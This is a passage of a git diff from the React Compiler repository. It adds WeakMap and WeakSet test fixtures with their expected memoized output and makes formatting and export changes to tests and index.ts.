  * Here, the cond ? [...] : defaultList value block produces two
@@ -8,13 +8,13 @@ import { makeArray, useHook } from "shared-runtime";
  * The same value block also mutates customList, so it must be
  * merged with the scope producing customList
  */
-function Foo({ defaultList, cond }) {
+function Foo({defaultList, cond}) {
   const comparator = (a, b) => a - b;
   useHook();
   const customList = makeArray(1, 5, 2);
   useHook();
   const result = cond
-    ? [...customList.sort(comparator), { text: ["text"] }]
+    ? [...customList.sort(comparator), {text: ['text']}]
     : defaultList;
 
   return result;
@@ -22,5 +22,5 @@ function Foo({ defaultList, cond }) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Foo,
-  params: [{ defaultList: [2, 4], cond: true }],
+  params: [{defaultList: [2, 4], cond: true}],
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/weakmap-constructor.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/weakmap-constructor.expect.md
new file mode 100644
index 000000000000..a6def457a419
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/weakmap-constructor.expect.md
@@ -0,0 +1,200 @@
+
+## Input
+
+```javascript
+import {useMemo} from 'react';
+import {ValidateMemoization} from 'shared-runtime';
+
+function Component({a, b, c}) {
+  const map = new WeakMap();
+  const mapAlias = map.set(a, 0);
+  mapAlias.set(c, 0);
+
+  const hasB = map.has(b);
+
+  return (
+    <>
+      <ValidateMemoization
+        inputs={[a, c]}
+        output={map}
+        onlyCheckCompiled={true}
+      />
+      <ValidateMemoization
+        inputs={[a, c]}
+        output={mapAlias}
+        onlyCheckCompiled={true}
+      />
+      <ValidateMemoization
+        inputs={[b]}
+        output={[hasB]}
+        onlyCheckCompiled={true}
+      />
+    </>
+  );
+}
+
+const v1 = {value: 1};
+const v2 = {value: 2};
+const v3 = {value: 3};
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{a: v1, b: v1, c: v1}],
+  sequentialRenders: [
+    {a: v1, b: v1, c: v1},
+    {a: v2, b: v1, c: v1},
+    {a: v1, b: v1, c: v1},
+    {a: v1, b: v2, c: v1},
+    {a: v1, b: v1, c: v1},
+    {a: v3, b: v3, c: v1},
+    {a: v3, b: v3, c: v1},
+    {a: v1, b: v1, c: v1},
+  ],
+};
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime";
+import { useMemo } from "react";
+import { ValidateMemoization } from "shared-runtime";
+
+function Component(t0) {
+  const $ = _c(27);
+  const { a, b, c } = t0;
+  let map;
+  let mapAlias;
+  if ($[0] !== a || $[1] !== c) {
+    map = new WeakMap();
+    mapAlias = map.set(a, 0);
+    mapAlias.set(c, 0);
+    $[0] = a;
+    $[1] = c;
+    $[2] = map;
+    $[3] = mapAlias;
+  } else {
+    map = $[2];
+    mapAlias = $[3];
+  }
+
+  const hasB = map.has(b);
+  let t1;
+  if ($[4] !== a || $[5] !== c) {
+    t1 = [a, c];
+    $[4] = a;
+    $[5] = c;
+    $[6] = t1;
+  } else {
+    t1 = $[6];
+  }
+  let t2;
+  if ($[7] !== map || $[8] !== t1) {
+    t2 = (
+      <ValidateMemoization inputs={t1} output={map} onlyCheckCompiled={true} />
+    );
+    $[7] = map;
+    $[8] = t1;
+    $[9] = t2;
+  } else {
+    t2 = $[9];
+  }
+  let t3;
+  if ($[10] !== a || $[11] !== c) {
+    t3 = [a, c];
+    $[10] = a;
+    $[11] = c;
+    $[12] = t3;
+  } else {
+    t3 = $[12];
+  }
+  let t4;
+  if ($[13] !== mapAlias || $[14] !== t3) {
+    t4 = (
+      <ValidateMemoization
+        inputs={t3}
+        output={mapAlias}
+        onlyCheckCompiled={true}
+      />
+    );
+    $[13] = mapAlias;
+    $[14] = t3;
+    $[15] = t4;
+  } else {
+    t4 = $[15];
+  }
+  let t5;
+  if ($[16] !== b) {
+    t5 = [b];
+    $[16] = b;
+    $[17] = t5;
+  } else {
+    t5 = $[17];
+  }
+  let t6;
+  if ($[18] !== hasB) {
+    t6 = [hasB];
+    $[18] = hasB;
+    $[19] = t6;
+  } else {
+    t6 = $[19];
+  }
+  let t7;
+  if ($[20] !== t5 || $[21] !== t6) {
+    t7 = (
+      <ValidateMemoization inputs={t5} output={t6} onlyCheckCompiled={true} />
+    );
+    $[20] = t5;
+    $[21] = t6;
+    $[22] = t7;
+  } else {
+    t7 = $[22];
+  }
+  let t8;
+  if ($[23] !== t2 || $[24] !== t4 || $[25] !== t7) {
+    t8 = (
+      <>
+        {t2}
+        {t4}
+        {t7}
+      </>
+    );
+    $[23] = t2;
+    $[24] = t4;
+    $[25] = t7;
+    $[26] = t8;
+  } else {
+    t8 = $[26];
+  }
+  return t8;
+}
+
+const v1 = { value: 1 };
+const v2 = { value: 2 };
+const v3 = { value: 3 };
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{ a: v1, b: v1, c: v1 }],
+  sequentialRenders: [
+    { a: v1, b: v1, c: v1 },
+    { a: v2, b: v1, c: v1 },
+    { a: v1, b: v1, c: v1 },
+    { a: v1, b: v2, c: v1 },
+    { a: v1, b: v1, c: v1 },
+    { a: v3, b: v3, c: v1 },
+    { a: v3, b: v3, c: v1 },
+    { a: v1, b: v1, c: v1 },
+  ],
+};
+
+```
+      
+### Eval output
+(kind: ok) <div>{"inputs":[{"value":1},"[[ cyclic ref *2 ]]"],"output":{}}</div><div>{"inputs":[{"value":1},"[[ cyclic ref *2 ]]"],"output":{}}</div><div>{"inputs":[{"value":1}],"output":[true]}</div>
+<div>{"inputs":[{"value":2},{"value":1}],"output":{}}</div><div>{"inputs":[{"value":2},{"value":1}],"output":{}}</div><div>{"inputs":[{"value":1}],"output":[true]}</div>
+<div>{"inputs":[{"value":1},"[[ cyclic ref *2 ]]"],"output":{}}</div><div>{"inputs":[{"value":1},"[[ cyclic ref *2 ]]"],"output":{}}</div><div>{"inputs":[{"value":1}],"output":[true]}</div>
+<div>{"inputs":[{"value":1},"[[ cyclic ref *2 ]]"],"output":{}}</div><div>{"inputs":[{"value":1},"[[ cyclic ref *2 ]]"],"output":{}}</div><div>{"inputs":[{"value":2}],"output":[false]}</div>
+<div>{"inputs":[{"value":1},"[[ cyclic ref *2 ]]"],"output":{}}</div><div>{"inputs":[{"value":1},"[[ cyclic ref *2 ]]"],"output":{}}</div><div>{"inputs":[{"value":1}],"output":[true]}</div>
+<div>{"inputs":[{"value":3},{"value":1}],"output":{}}</div><div>{"inputs":[{"value":3},{"value":1}],"output":{}}</div><div>{"inputs":[{"value":3}],"output":[true]}</div>
+<div>{"inputs":[{"value":3},{"value":1}],"output":{}}</div><div>{"inputs":[{"value":3},{"value":1}],"output":{}}</div><div>{"inputs":[{"value":3}],"output":[true]}</div>
+<div>{"inputs":[{"value":1},"[[ cyclic ref *2 ]]"],"output":{}}</div><div>{"inputs":[{"value":1},"[[ cyclic ref *2 ]]"],"output":{}}</div><div>{"inputs":[{"value":1}],"output":[true]}</div>
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/weakmap-constructor.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/weakmap-constructor.js
new file mode 100644
index 000000000000..d005c9f271d1
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/weakmap-constructor.js
@@ -0,0 +1,48 @@
+import {useMemo} from 'react';
+import {ValidateMemoization} from 'shared-runtime';
+
+function Component({a, b, c}) {
+  const map = new WeakMap();
+  const mapAlias = map.set(a, 0);
+  mapAlias.set(c, 0);
+
+  const hasB = map.has(b);
+
+  return (
+    <>
+      <ValidateMemoization
+        inputs={[a, c]}
+        output={map}
+        onlyCheckCompiled={true}
+      />
+      <ValidateMemoization
+        inputs={[a, c]}
+        output={mapAlias}
+        onlyCheckCompiled={true}
+      />
+      <ValidateMemoization
+        inputs={[b]}
+        output={[hasB]}
+        onlyCheckCompiled={true}
+      />
+    </>
+  );
+}
+
+const v1 = {value: 1};
+const v2 = {value: 2};
+const v3 = {value: 3};
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{a: v1, b: v1, c: v1}],
+  sequentialRenders: [
+    {a: v1, b: v1, c: v1},
+    {a: v2, b: v1, c: v1},
+    {a: v1, b: v1, c: v1},
+    {a: v1, b: v2, c: v1},
+    {a: v1, b: v1, c: v1},
+    {a: v3, b: v3, c: v1},
+    {a: v3, b: v3, c: v1},
+    {a: v1, b: v1, c: v1},
+  ],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/weakset-constructor.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/weakset-constructor.expect.md
new file mode 100644
index 000000000000..94e0c7f05547
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/weakset-constructor.expect.md
@@ -0,0 +1,200 @@
+
+## Input
+
+```javascript
+import {useMemo} from 'react';
+import {ValidateMemoization} from 'shared-runtime';
+
+function Component({a, b, c}) {
+  const set = new WeakSet();
+  const setAlias = set.add(a);
+  setAlias.add(c);
+
+  const hasB = set.has(b);
+
+  return (
+    <>
+      <ValidateMemoization
+        inputs={[a, c]}
+        output={set}
+        onlyCheckCompiled={true}
+      />
+      <ValidateMemoization
+        inputs={[a, c]}
+        output={setAlias}
+        onlyCheckCompiled={true}
+      />
+      <ValidateMemoization
+        inputs={[b]}
+        output={[hasB]}
+        onlyCheckCompiled={true}
+      />
+    </>
+  );
+}
+
+const v1 = {value: 1};
+const v2 = {value: 2};
+const v3 = {value: 3};
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{a: v1, b: v1, c: v1}],
+  sequentialRenders: [
+    {a: v1, b: v1, c: v1},
+    {a: v2, b: v1, c: v1},
+    {a: v1, b: v1, c: v1},
+    {a: v1, b: v2, c: v1},
+    {a: v1, b: v1, c: v1},
+    {a: v3, b: v3, c: v1},
+    {a: v3, b: v3, c: v1},
+    {a: v1, b: v1, c: v1},
+  ],
+};
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime";
+import { useMemo } from "react";
+import { ValidateMemoization } from "shared-runtime";
+
+function Component(t0) {
+  const $ = _c(27);
+  const { a, b, c } = t0;
+  let set;
+  let setAlias;
+  if ($[0] !== a || $[1] !== c) {
+    set = new WeakSet();
+    setAlias = set.add(a);
+    setAlias.add(c);
+    $[0] = a;
+    $[1] = c;
+    $[2] = set;
+    $[3] = setAlias;
+  } else {
+    set = $[2];
+    setAlias = $[3];
+  }
+
+  const hasB = set.has(b);
+  let t1;
+  if ($[4] !== a || $[5] !== c) {
+    t1 = [a, c];
+    $[4] = a;
+    $[5] = c;
+    $[6] = t1;
+  } else {
+    t1 = $[6];
+  }
+  let t2;
+  if ($[7] !== set || $[8] !== t1) {
+    t2 = (
+      <ValidateMemoization inputs={t1} output={set} onlyCheckCompiled={true} />
+    );
+    $[7] = set;
+    $[8] = t1;
+    $[9] = t2;
+  } else {
+    t2 = $[9];
+  }
+  let t3;
+  if ($[10] !== a || $[11] !== c) {
+    t3 = [a, c];
+    $[10] = a;
+    $[11] = c;
+    $[12] = t3;
+  } else {
+    t3 = $[12];
+  }
+  let t4;
+  if ($[13] !== setAlias || $[14] !== t3) {
+    t4 = (
+      <ValidateMemoization
+        inputs={t3}
+        output={setAlias}
+        onlyCheckCompiled={true}
+      />
+    );
+    $[13] = setAlias;
+    $[14] = t3;
+    $[15] = t4;
+  } else {
+    t4 = $[15];
+  }
+  let t5;
+  if ($[16] !== b) {
+    t5 = [b];
+    $[16] = b;
+    $[17] = t5;
+  } else {
+    t5 = $[17];
+  }
+  let t6;
+  if ($[18] !== hasB) {
+    t6 = [hasB];
+    $[18] = hasB;
+    $[19] = t6;
+  } else {
+    t6 = $[19];
+  }
+  let t7;
+  if ($[20] !== t5 || $[21] !== t6) {
+    t7 = (
+      <ValidateMemoization inputs={t5} output={t6} onlyCheckCompiled={true} />
+    );
+    $[20] = t5;
+    $[21] = t6;
+    $[22] = t7;
+  } else {
+    t7 = $[22];
+  }
+  let t8;
+  if ($[23] !== t2 || $[24] !== t4 || $[25] !== t7) {
+    t8 = (
+      <>
+        {t2}
+        {t4}
+        {t7}
+      </>
+    );
+    $[23] = t2;
+    $[24] = t4;
+    $[25] = t7;
+    $[26] = t8;
+  } else {
+    t8 = $[26];
+  }
+  return t8;
+}
+
+const v1 = { value: 1 };
+const v2 = { value: 2 };
+const v3 = { value: 3 };
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{ a: v1, b: v1, c: v1 }],
+  sequentialRenders: [
+    { a: v1, b: v1, c: v1 },
+    { a: v2, b: v1, c: v1 },
+    { a: v1, b: v1, c: v1 },
+    { a: v1, b: v2, c: v1 },
+    { a: v1, b: v1, c: v1 },
+    { a: v3, b: v3, c: v1 },
+    { a: v3, b: v3, c: v1 },
+    { a: v1, b: v1, c: v1 },
+  ],
+};
+
+```
+      
+### Eval output
+(kind: ok) <div>{"inputs":[{"value":1},"[[ cyclic ref *2 ]]"],"output":{}}</div><div>{"inputs":[{"value":1},"[[ cyclic ref *2 ]]"],"output":{}}</div><div>{"inputs":[{"value":1}],"output":[true]}</div>
+<div>{"inputs":[{"value":2},{"value":1}],"output":{}}</div><div>{"inputs":[{"value":2},{"value":1}],"output":{}}</div><div>{"inputs":[{"value":1}],"output":[true]}</div>
+<div>{"inputs":[{"value":1},"[[ cyclic ref *2 ]]"],"output":{}}</div><div>{"inputs":[{"value":1},"[[ cyclic ref *2 ]]"],"output":{}}</div><div>{"inputs":[{"value":1}],"output":[true]}</div>
+<div>{"inputs":[{"value":1},"[[ cyclic ref *2 ]]"],"output":{}}</div><div>{"inputs":[{"value":1},"[[ cyclic ref *2 ]]"],"output":{}}</div><div>{"inputs":[{"value":2}],"output":[false]}</div>
+<div>{"inputs":[{"value":1},"[[ cyclic ref *2 ]]"],"output":{}}</div><div>{"inputs":[{"value":1},"[[ cyclic ref *2 ]]"],"output":{}}</div><div>{"inputs":[{"value":1}],"output":[true]}</div>
+<div>{"inputs":[{"value":3},{"value":1}],"output":{}}</div><div>{"inputs":[{"value":3},{"value":1}],"output":{}}</div><div>{"inputs":[{"value":3}],"output":[true]}</div>
+<div>{"inputs":[{"value":3},{"value":1}],"output":{}}</div><div>{"inputs":[{"value":3},{"value":1}],"output":{}}</div><div>{"inputs":[{"value":3}],"output":[true]}</div>
+<div>{"inputs":[{"value":1},"[[ cyclic ref *2 ]]"],"output":{}}</div><div>{"inputs":[{"value":1},"[[ cyclic ref *2 ]]"],"output":{}}</div><div>{"inputs":[{"value":1}],"output":[true]}</div>
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/weakset-constructor.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/weakset-constructor.js
new file mode 100644
index 000000000000..9114233812e5
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/weakset-constructor.js
@@ -0,0 +1,48 @@
+import {useMemo} from 'react';
+import {ValidateMemoization} from 'shared-runtime';
+
+function Component({a, b, c}) {
+  const set = new WeakSet();
+  const setAlias = set.add(a);
+  setAlias.add(c);
+
+  const hasB = set.has(b);
+
+  return (
+    <>
+      <ValidateMemoization
+        inputs={[a, c]}
+        output={set}
+        onlyCheckCompiled={true}
+      />
+      <ValidateMemoization
+        inputs={[a, c]}
+        output={setAlias}
+        onlyCheckCompiled={true}
+      />
+      <ValidateMemoization
+        inputs={[b]}
+        output={[hasB]}
+        onlyCheckCompiled={true}
+      />
+    </>
+  );
+}
+
+const v1 = {value: 1};
+const v2 = {value: 2};
+const v3 = {value: 3};
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{a: v1, b: v1, c: v1}],
+  sequentialRenders: [
+    {a: v1, b: v1, c: v1},
+    {a: v2, b: v1, c: v1},
+    {a: v1, b: v1, c: v1},
+    {a: v1, b: v2, c: v1},
+    {a: v1, b: v1, c: v1},
+    {a: v3, b: v3, c: v1},
+    {a: v3, b: v3, c: v1},
+    {a: v1, b: v1, c: v1},
+  ],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/while-break.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/while-break.expect.md
index fbb18030e06e..d92ee53a91b4 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/while-break.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/while-break.expect.md
@@ -11,8 +11,8 @@ function foo(a, b) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: foo,
-  params: ["TodoAdd"],
-  isComponent: "TodoAdd",
+  params: ['TodoAdd'],
+  isComponent: 'TodoAdd',
 };
 
 ```
@@ -24,6 +24,7 @@ function foo(a, b) {
   while (a) {
     break;
   }
+
   return b;
 }
 
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/while-break.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/while-break.js
index d354fd8bc93c..cfa2d5f190ec 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/while-break.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/while-break.js
@@ -7,6 +7,6 @@ function foo(a, b) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: foo,
-  params: ["TodoAdd"],
-  isComponent: "TodoAdd",
+  params: ['TodoAdd'],
+  isComponent: 'TodoAdd',
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/while-conditional-continue.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/while-conditional-continue.expect.md
index 8ab049f92321..2fe3ec5f8776 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/while-conditional-continue.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/while-conditional-continue.expect.md
@@ -15,8 +15,8 @@ function foo(a, b, c, d) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: foo,
-  params: ["TodoAdd"],
-  isComponent: "TodoAdd",
+  params: ['TodoAdd'],
+  isComponent: 'TodoAdd',
 };
 
 ```
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/while-conditional-continue.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/while-conditional-continue.js
index 3ee96e700a27..58f9db56018b 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/while-conditional-continue.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/while-conditional-continue.js
@@ -11,6 +11,6 @@ function foo(a, b, c, d) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: foo,
-  params: ["TodoAdd"],
-  isComponent: "TodoAdd",
+  params: ['TodoAdd'],
+  isComponent: 'TodoAdd',
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/while-logical.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/while-logical.expect.md
index c564c07e54f9..a423fff1b72d 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/while-logical.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/while-logical.expect.md
@@ -12,8 +12,8 @@ function foo(props) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: foo,
-  params: ["TodoAdd"],
-  isComponent: "TodoAdd",
+  params: ['TodoAdd'],
+  isComponent: 'TodoAdd',
 };
 
 ```
@@ -26,6 +26,7 @@ function foo(props) {
   while (x > props.min && x < props.max) {
     x = x * 2;
   }
+
   return x;
 }
 
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/while-logical.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/while-logical.js
index ee0b0a653dd1..9fe4c9f34e49 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/while-logical.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/while-logical.js
@@ -8,6 +8,6 @@ function foo(props) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: foo,
-  params: ["TodoAdd"],
-  isComponent: "TodoAdd",
+  params: ['TodoAdd'],
+  isComponent: 'TodoAdd',
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/while-property.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/while-property.expect.md
index 11e786eaa7d5..1b4690d85b7a 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/while-property.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/while-property.expect.md
@@ -12,8 +12,8 @@ function foo(a, b) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: foo,
-  params: ["TodoAdd"],
-  isComponent: "TodoAdd",
+  params: ['TodoAdd'],
+  isComponent: 'TodoAdd',
 };
 
 ```
@@ -26,6 +26,7 @@ function foo(a, b) {
   while (a.b.c) {
     x = x + b;
   }
+
   return x;
 }
 
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/while-property.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/while-property.js
index 4ee8305877c6..a004567f1d57 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/while-property.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/while-property.js
@@ -8,6 +8,6 @@ function foo(a, b) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: foo,
-  params: ["TodoAdd"],
-  isComponent: "TodoAdd",
+  params: ['TodoAdd'],
+  isComponent: 'TodoAdd',
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/while-with-assignment-in-test.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/while-with-assignment-in-test.expect.md
index 1edde1af1cea..cc80cec59f21 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/while-with-assignment-in-test.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/while-with-assignment-in-test.expect.md
@@ -2,6 +2,7 @@
 ## Input
 
 ```javascript
+// @enablePreserveExistingMemoizationGuarantees:false
 function Component() {
   const queue = [1, 2, 3];
   let value = 0;
@@ -22,6 +23,7 @@ export const FIXTURE_ENTRYPOINT = {
 ## Code
 
 ```javascript
+// @enablePreserveExistingMemoizationGuarantees:false
 function Component() {
   const queue = [1, 2, 3];
   let value;
@@ -29,6 +31,7 @@ function Component() {
   while ((value = queue.pop()) != null) {
     sum = sum + value;
   }
+
   return sum;
 }
 
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/while-with-assignment-in-test.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/while-with-assignment-in-test.js
index 295bf27d3fb9..3af11ed453ca 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/while-with-assignment-in-test.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/while-with-assignment-in-test.js
@@ -1,3 +1,4 @@
+// @enablePreserveExistingMemoizationGuarantees:false
 function Component() {
   const queue = [1, 2, 3];
   let value = 0;
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/tsconfig.json b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/tsconfig.json
index 07d6d2baae40..7c51d213ede6 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/tsconfig.json
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/tsconfig.json
@@ -19,7 +19,9 @@
     },
     "verbatimModuleSyntax": true,
     "module": "ESNext",
-    "allowSyntheticDefaultImports": true
+    "allowSyntheticDefaultImports": true,
+    "moduleDetection": "force"
+
   },
   "include": [
     "./compiler/**/*.js",
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/parseConfigPragma-test.ts b/compiler/packages/babel-plugin-react-compiler/src/__tests__/parseConfigPragma-test.ts
index 3cea7989c071..1a7c20c3d01c 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/parseConfigPragma-test.ts
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/parseConfigPragma-test.ts
@@ -5,26 +5,33 @@
  * LICENSE file in the root directory of this source tree.
  */
 
-import { parseConfigPragma, validateEnvironmentConfig } from "..";
+import {parseConfigPragmaForTests, validateEnvironmentConfig} from '..';
+import {defaultOptions} from '../Entrypoint';
 
-describe("parseConfigPragma()", () => {
-  it("parses flags in various forms", () => {
+describe('parseConfigPragmaForTests()', () => {
+  it('parses flags in various forms', () => {
     const defaultConfig = validateEnvironmentConfig({});
 
     // Validate defaults first to make sure that the parser is getting the value from the pragma,
     // and not just missing it and getting the default value
-    expect(defaultConfig.enableUseTypeAnnotations).toBe(false);
-    expect(defaultConfig.validateRefAccessDuringRender).toBe(false);
+    expect(defaultConfig.enableForest).toBe(false);
+    expect(defaultConfig.validateNoSetStateInEffects).toBe(false);
     expect(defaultConfig.validateNoSetStateInRender).toBe(true);
 
-    const config = parseConfigPragma(
-      "@enableUseTypeAnnotations @validateRefAccessDuringRender:true @validateNoSetStateInRender:false"
+    const config = parseConfigPragmaForTests(
+      '@enableForest @validateNoSetStateInEffects:true @validateNoSetStateInRender:false',
+      {compilationMode: defaultOptions.compilationMode},
     );
     expect(config).toEqual({
-      ...defaultConfig,
-      enableUseTypeAnnotations: true,
-      validateRefAccessDuringRender: true,
-      validateNoSetStateInRender: false,
+      ...defaultOptions,
+      panicThreshold: 'all_errors',
+      environment: {
+        ...defaultOptions.environment,
+        enableForest: true,
+        validateNoSetStateInEffects: true,
+        validateNoSetStateInRender: false,
+        enableResetCacheOnSourceFileChanges: false,
+      },
     });
   });
 });
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/test-utils/validateNoUseBeforeDefine.ts b/compiler/packages/babel-plugin-react-compiler/src/__tests__/test-utils/validateNoUseBeforeDefine.ts
index 3932861a4d80..834741ac282a 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/test-utils/validateNoUseBeforeDefine.ts
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/test-utils/validateNoUseBeforeDefine.ts
@@ -6,21 +6,21 @@
  */
 
 // @ts-ignore-line
-import { Linter } from "../../../node_modules/eslint/lib/linter";
+import {Linter} from '../../../node_modules/eslint/lib/linter';
 // @ts-ignore-line
-import * as HermesESLint from "hermes-eslint";
+import * as HermesESLint from 'hermes-eslint';
 // @ts-ignore-line
-import { NoUseBeforeDefineRule } from "../..";
+import {NoUseBeforeDefineRule} from '../..';
 
 const ESLINT_CONFIG: Linter.Config = {
-  parser: "hermes-eslint",
+  parser: 'hermes-eslint',
   parserOptions: {
-    sourceType: "module",
+    sourceType: 'module',
   },
   rules: {
-    "custom-no-use-before-define": [
-      "error",
-      { variables: false, functions: false },
+    'custom-no-use-before-define': [
+      'error',
+      {variables: false, functions: false},
     ],
   },
 };
@@ -32,10 +32,10 @@ const ESLINT_CONFIG: Linter.Config = {
  * setting.
  */
 export default function validateNoUseBeforeDefine(
-  source: string
-): Array<{ line: number; column: number; message: string }> | null {
+  source: string,
+): Array<{line: number; column: number; message: string}> | null {
   const linter = new Linter();
-  linter.defineParser("hermes-eslint", HermesESLint);
-  linter.defineRule("custom-no-use-before-define", NoUseBeforeDefineRule);
+  linter.defineParser('hermes-eslint', HermesESLint);
+  linter.defineRule('custom-no-use-before-define', NoUseBeforeDefineRule);
   return linter.verify(source, ESLINT_CONFIG);
 }
diff --git a/compiler/packages/babel-plugin-react-compiler/src/index.ts b/compiler/packages/babel-plugin-react-compiler/src/index.ts
index 7206d0fb89ab..31757c04298c 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/index.ts
+++ b/compiler/packages/babel-plugin-react-compiler/src/index.ts
@@ -5,37 +5,58 @@
  * LICENSE file in the root directory of this source tree.
  */
 
-export { runBabelPluginReactCompiler } from "./Babel/RunReactCompilerBabelPlugin";
+export {runBabelPluginReactCompiler} from './Babel/RunReactCompilerBabelPlugin';
 export {
   CompilerError,
   CompilerErrorDetail,
+  CompilerDiagnostic,
   CompilerSuggestionOperation,
   ErrorSeverity,
+  ErrorCategory,
+  LintRules,
+  LintRulePreset,
   type CompilerErrorDetailOptions,
-} from "./CompilerError";
+  type CompilerDiagnosticOptions,
+  type CompilerDiagnosticDetail,
+  type LintRule,
+} from './CompilerError';
 export {
   compileFn as compile,
   compileProgram,
   parsePluginOptions,
-  run,
+  OPT_OUT_DIRECTIVES,
+  OPT_IN_DIRECTIVES,
+  ProgramContext,
+  tryFindDirectiveEnablingMemoization as findDirectiveEnablingMemoization,
+  findDirectiveDisablingMemoization,
+  defaultOptions,
   type CompilerPipelineValue,
+  type Logger,
+  type LoggerEvent,
   type PluginOptions,
-} from "./Entrypoint";
+  type CompileSuccessEvent,
+} from './Entrypoint';
 export {
   Effect,
   ValueKind,
-  parseConfigPragma,
+  ValueReason,
   printHIR,
+  printFunctionWithOutlined,
   validateEnvironmentConfig,
   type EnvironmentConfig,
   type ExternalFunction,
   type Hook,
   type SourceLocation,
-} from "./HIR";
-export { printReactiveFunction } from "./ReactiveScopes";
